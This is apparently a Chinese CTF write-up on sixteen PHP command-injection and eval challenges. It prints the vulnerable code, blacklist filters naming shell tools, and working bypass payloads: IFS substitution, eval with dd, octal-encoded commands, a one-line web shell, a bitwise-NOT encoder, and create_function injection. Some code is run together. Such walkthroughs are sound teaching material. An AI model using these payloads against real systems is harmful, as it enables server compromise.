EZCMD
<?phperror_reporting(0);if(isset($_POST['cmd'])){$cmd=escapeshellcmd($_POST['cmd']);system($cmd);}show_source(__FILE__);?>关于escapeshellcmd()函数的介绍请看博客:escapeshellcmd()与escapeshellarg()函数-CSDN博客
这一关中escapeshellcmd()可以说形同虚设:
EZCMD_1
在终端或 Shell 中,分号的作用是告诉系统:依次执行多个命令
EZCMD_2
<?phperror_reporting(0);if(isset($_POST['cmd'])){$cmd=$_POST['cmd'];system($cmd." >/dev/null 2>&1");}show_source(__FILE__);?>虽然这段代码试图通过追加>/dev/null 2>&1来把命令的输出丢弃掉(这通常是为了不让用户看到命令执行的回显结果),但这仅仅掩耳盗铃,完全没有阻止恶意命令的执行。
当系统解析被注入的命令时:命令A ; 命令B >/dev/null 2>&1系统会认为:先正常执行命令A(它的输出会正常显示),然后再执行命令B,并且仅仅把命令B的输出丢弃。
或者直接命令A # >/dev/null 2>&1来注释掉后面的丢弃语句。
EZCMD_3
<?phperror_reporting(0);if(isset($_POST['cmd'])){$cmd=$_POST['cmd'];if(strpos($cmd,' ')!==false){die('no space allowed');}system($cmd." >/dev/null 2>&1");}show_source(__FILE__);?>在上一题的基础上过滤了空格。$IFS(Internal Field Separator) 是 Linux 的一个特殊环境变量,它的默认值就是空格、制表符(Tab)和换行符。黑客可以直接用这个变量来"替换"空格。 为了防止变量名和后面的路径连在一起(比如变成$IFSbin),黑客通常会加上大括号${IFS}或者拼接一个空变量$9。
EZCMD_4
打开就是一张雷霆图片,一点也不可爱
访问robots.txt拿到一个php文件,访问就是这段代码了:
<?phperror_reporting(0);if(isset($_POST['cmd'])){$cmd=escapeshellcmd($_POST['cmd']);if(!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i',$cmd)){system($cmd);}}show_source(__FILE__);?>这题过滤了好多东西,相当棘手。 黑名单封杀了cat,tail,more,less,nl,od等几乎所有常见的文本读取命令。 但是有一个叫dd的命令。dd本来是 Linux 下用于底层磁盘拷贝和备份的强大工具,但如果把它指向一个普通的文本文件,它同样会把文件内容打印到屏幕上。 因此构造payload:
if=/$a$b:if在dd命令里的意思是 input file(输入文件)。当 Linux Shell 看到$a$b时,它会去内存里把刚才存的a和b的值拿出来。- 此时,
/$a$b瞬间在内存中被还原成了/flag。 - 最终系统实际执行的命令是:
dd if=/flag。
但是这里有个问题值得思考:最前面的eval有什么用?可不可以去掉它?
先说结论:不能去掉,去掉了就拿不到flag了:
不带eval
- 输入:
a=fl;b=ag;dd if=/$a$b - PHP 的
escapeshellcmd()介入:这个函数的本职工作就是转义特殊字符,它会把分号;和美元符号$前面强行加上反斜杠\。 于是,拼接进$cmd的字符串变成了:a=fl\;b=ag\;dd if=/\$a\$b - 交给 Linux Shell 执行:当 Linux 收到这串带着反斜杠的命令时,它会认为:“哦,你不想让分号当分隔符,你也不想让美元符号当变量,你想让我执行一个名字就叫做
a=fl;b=ag;dd的奇葩程序,并且参数是if=/$a$b。” 因为系统里根本没有这种名字的程序,所以命令直接报错退出,什么都不会发生,拿不到 flag。
带上eval
- 输入:
eval a=fl;b=ag;dd if=/$a$b - PHP 的
escapeshellcmd()介入:同样,它兢兢业业地转义了分号和美元符号,变成了:eval a=fl\;b=ag\;dd if=/\$a\$b - 交给 Linux Shell 执行(奇迹发生的时刻):这个时候,Linux Shell 的解析分为两步走:
- 第一步:Shell 的第一次解析Shell 看到第一个词是
eval,它知道这是一个合法的系统命令。然后它把后面的部分当成参数传给eval。关键特性:Shell 在给命令传递参数时,会"消耗"掉用来转义的反斜杠。也就是说,反斜杠完成了它的转义使命后,就消失了。eval实际接收到的参数是干干净净的:a=fl;b=ag;dd if=/$a$b。 - 第二步:
eval的第二次解析eval这个命令的作用,就是把接收到的参数,当成全新的 Shell 语句再执行一遍!此时,eval面对的是毫无保护、没有反斜杠的纯净字符串:a=fl;b=ag;dd if=/$a$b。 分号;重新恢复了分隔符的魔力,美元符号$重新恢复了变量解析的魔力! 最终,它成功拼接出dd if=/flag,并把你的 flag 打印在了网页上。
- 第一步:Shell 的第一次解析Shell 看到第一个词是
把dd if换成rev命令也能拿到flag,只不过是倒过来的
EZCMD_5
<?php//flag在/flag.txt文件中error_reporting(0);if(isset($_POST['cmd'])){$cmd=$_POST['cmd'];if(preg_match('/[a-zA-Z]/',$cmd)){die('no letter allowed');}system($cmd);}show_source(__FILE__);?>个人认为这一关比上一关简单,这里把所有字母的大小写都过滤了。
$'...'语法在 Bash 中被称为ANSI-C 引用 (ANSI-C Quoting)。在这个结构内部,Shell 会将其中的转义序列(比如八进制、十六进制)解码成对应的 ASCII 字符。如果解码后的字符串位于命令行的开头,Shell 就会将其作为命令去执行。 比如:
$'\154\163'#等同于命令:ls核心原理
在 ASCII 码表中,每个字符都可以用八进制数来表示。在$'...'中,你可以使用\nnn的格式(n代表八进制数字)来代替字母。
例如,字母l的 ASCII 十进制是 108,转换为八进制是154。字母s的十进制是 115,八进制是163。
| 字符 | 含义 | 八进制 | Shell 语法 |
|---|---|---|---|
| 空格(分隔命令与参数) | 040 | \40 | |
/ | 斜杠(根目录/路径分隔) | 057 | \57 |
. | 点号(当前目录/文件扩展名) | 056 | \56 |
- | 连字符(命令参数引导) | 055 | \55 |
* | 星号(通配符绕过) | 052 | \52 |
| 字母 | 大写八进制 | 大写 Shell 语法 | 小写八进制 | 小写 Shell 语法 |
|---|---|---|---|---|
| A / a | 101 | \101 | 141 | \141 |
| B / b | 102 | \102 | 142 | \142 |
| C / c | 103 | \103 | 143 | \143 |
| D / d | 104 | \104 | 144 | \144 |
| E / e | 105 | \105 | 145 | \145 |
| F / f | 106 | \106 | 146 | \146 |
| G / g | 107 | \107 | 147 | \147 |
| H / h | 110 | \110 | 150 | \150 |
| I / i | 111 | \111 | 151 | \151 |
| J / j | 112 | \112 | 152 | \152 |
| K / k | 113 | \113 | 153 | \153 |
| L / l | 114 | \114 | 154 | \154 |
| M / m | 115 | \115 | 155 | \155 |
| N / n | 116 | \116 | 156 | \156 |
| O / o | 117 | \117 | 157 | \157 |
| P / p | 120 | \120 | 160 | \160 |
| Q / q | 121 | \121 | 161 | \161 |
| R / r | 122 | \122 | 162 | \162 |
| S / s | 123 | \123 | 163 | \163 |
| T / t | 124 | \124 | 164 | \164 |
| U / u | 125 | \125 | 165 | \165 |
| V / v | 126 | \126 | 166 | \166 |
| W / w | 127 | \127 | 167 | \167 |
| X / x | 130 | \130 | 170 | \170 |
| Y / y | 131 | \131 | 171 | \171 |
| Z / z | 132 | \132 | 172 | \172 |
因此直接构造payload:
cmd=$'\143\141\164' $'\57\146\154\141\147\56\164\170\164' #cat /flag.txtEZCMD_6
<?php@eval($_POST['qc']);show_source(__FILE__);?>典型的一句话木马,用蚁剑连接拿下flag,或者传参那下flag
EZCMD_7
<?phperror_reporting(0);if(isset($_GET['qc'])){$qc=$_GET['qc'];if(!preg_match("/flag/i",$qc)){eval($qc);}}else{highlight_file(__FILE__);}?>很简单且好多种方法,?qc=system(‘cat /f*’);即可。
EZCMD_8
<?phperror_reporting(0);if(isset($_GET['qc'])){$qc=$_GET['qc'];if(!preg_match("/flag|system/i",$qc)){eval($qc);}}else{highlight_file(__FILE__);}?>过滤了system关键字,可以用echo代替system。`echo`cat /f*等价于cat /f*。
EZCMD_9
<?phperror_reporting(0);if(isset($_GET['qc'])){$qc=$_GET['qc'];if(!preg_match("/system| /i",$qc)){eval($qc);}}else{highlight_file(__FILE__);}?>过滤了system和空格,依旧用echo``,空格用重定向符 < 代替
EZCMD_10
<?phperror_reporting(0);if(isset($_GET['qc'])){$qc=$_GET['qc'];if(!preg_match("/;/i",$qc)){eval($qc);}}else{highlight_file(__FILE__);}?>//flag在根目录的flag.txt文件中过滤了分号 ; ,用?>代替他即可
EZCMD_11
<?php//flag在flag.php文件中error_reporting(0);if(isset($_GET['qc'])){$qc=$_GET['qc'];if(!preg_match("/;/i",$qc)){eval($qc);}}else{highlight_file(__FILE__);}?>依旧过滤分号 ; 因为是php文件,因此不会渲染在页面上,打开源码就能看见
EZCMD_12
<?php//flag在flag.php文件中error_reporting(0);if(isset($_GET['qc'])){$qc=$_GET['qc'];if(!preg_match("/['\"\?<>\.\$\{\}:\\\\~^@*\-+=\[\]\,]/",$qc)){eval($qc);}}else{highlight_file(__FILE__);}?>提示flag在flag.php里面,但是过滤的有点狠了:
1. 引号与括号
':单引号":双引号{和}:左右大括号(通过\{和\}转义)[和]:左右中括号(通过\[和\]转义)
2. 标点与路径符号
?:英文问号(通过\?转义).:英文句点(通过\.转义),:英文逗号(通过\,转义)::英文冒号\:反斜杠(在 PHP 字符串中写为\\\\,解析为正则表达式的\\,用于匹配单个反斜杠)
3. 数学与逻辑符号
<和>:小于号和大于号(常用于过滤 HTML 标签<script>)-:减号/连字符(通过\-转义,防止正则引擎将其误认为是字符区间,如a-z)+:加号=:等号*:星号
4. 其他特殊符号
$:美元符号(通过\$转义,防止被误认为正则的"行尾"占位符或 PHP 变量)~:波浪号^:脱字符/插入号(在[]内部如果不在开头,代表其字面含义)@:At 符号
请出我们的xargs命令,关于xargs命令可以看我的文章:xargs命令-CSDN博客
最终构造payload:
?qc=echo`ls | grep flag | xargs cat`;EZCMD_13
<?php$re=isset($_GET['re'])?$_GET['re']:'';$str=isset($_GET['str'])?$_GET['str']:'';if($re===''||$str===''){highlight_file(__FILE__);exit;}echopreg_replace('/('.$re.')/ei','strtolower("\\1")',$str);这是一个经典的 preg_replace /e 代码执行 漏洞(PHP < 7.0)。
漏洞原理
/e 修饰符会把替换字符串当作 PHP 代码执行:
preg_replace('/('.$re.')/ei','strtolower("\\1")',$str);- $re → 正则表达式(我们控制)
- $str → 待匹配字符串(我们控制)
- \1 → 匹配到的内容会替换进 strtolower(“\1”) 中
- 最终拼接出的代码被 eval 执行
后面就不会做了,无论怎么造payload都不管用。希望各位有才华的读者教教我怎么做。
EZCMD_14
<?phperror_reporting(0);if(isset($_GET['qc'])){$qc=$_GET['qc'];if(!preg_match("/[a-zA-Z0-9]/",$qc)){eval($qc);}}else{highlight_file(__FILE__);}?>这是一个典型的PHP 非字母数字代码执行题,这种的一般思路就是通过取反或者异或构造想要的payload,我这里用取反做,直接写个简单的脚本:
defencode_not(func_name):result=""forchinfunc_name:val=255-ord(ch)result+=f"%{val:02X}"returnf"(~{result})"command=input("请输入命令: ")print(encode_not(command))通过这个脚本得到 phpinfo 取反后的URL编码为: (%8F%97%8F%96%91%99%90),具体细节如下
目标字符: p h p i n f o ASCII码: 112 104 112 105 110 102 111 取反(255-x): 143 151 143 150 145 153 144 转十六进制: 0x8F 0x97 0x8F 0x96 0x91 0x99 0x90 URL编码: %8F %97 %8F %96 %91 %99 %90最终构造pyaload: system(‘cat /flag’); 拿到flag
EZCMD_15
<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_GET['qc'])){exec($_GET['qc']);}?>关键问题是 exec() 不回显输出(不像 system()),所以直接传命令看不到结果。
第一步:先找flag的位置:
?qc=ls / >> 1.txt访问1.txt发现flag确实在根目录里
第二步:获取flag:
?qc=cat /flag > 1.txt访问1.txt得到flag
EZMD5_16
<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_GET['qc'])){create_function('','return '.$_GET['qc'].';');}?>create_function() 底层等价于 eval(),存在代码注入漏洞。
原理
用户输入直接拼接进函数体:
// 你传入 qc=1create_function('','return 1;');// 如果传入 qc=1;}system("cat /flag");/*create_function('','return 1;}system("cat /flag");/*;');拼接后的函数体变成:
function(){return1;}// 提前闭合 return 和函数体system("cat /flag");// 注入的代码,在定义时就执行了/*;// 注释掉多余的 ;}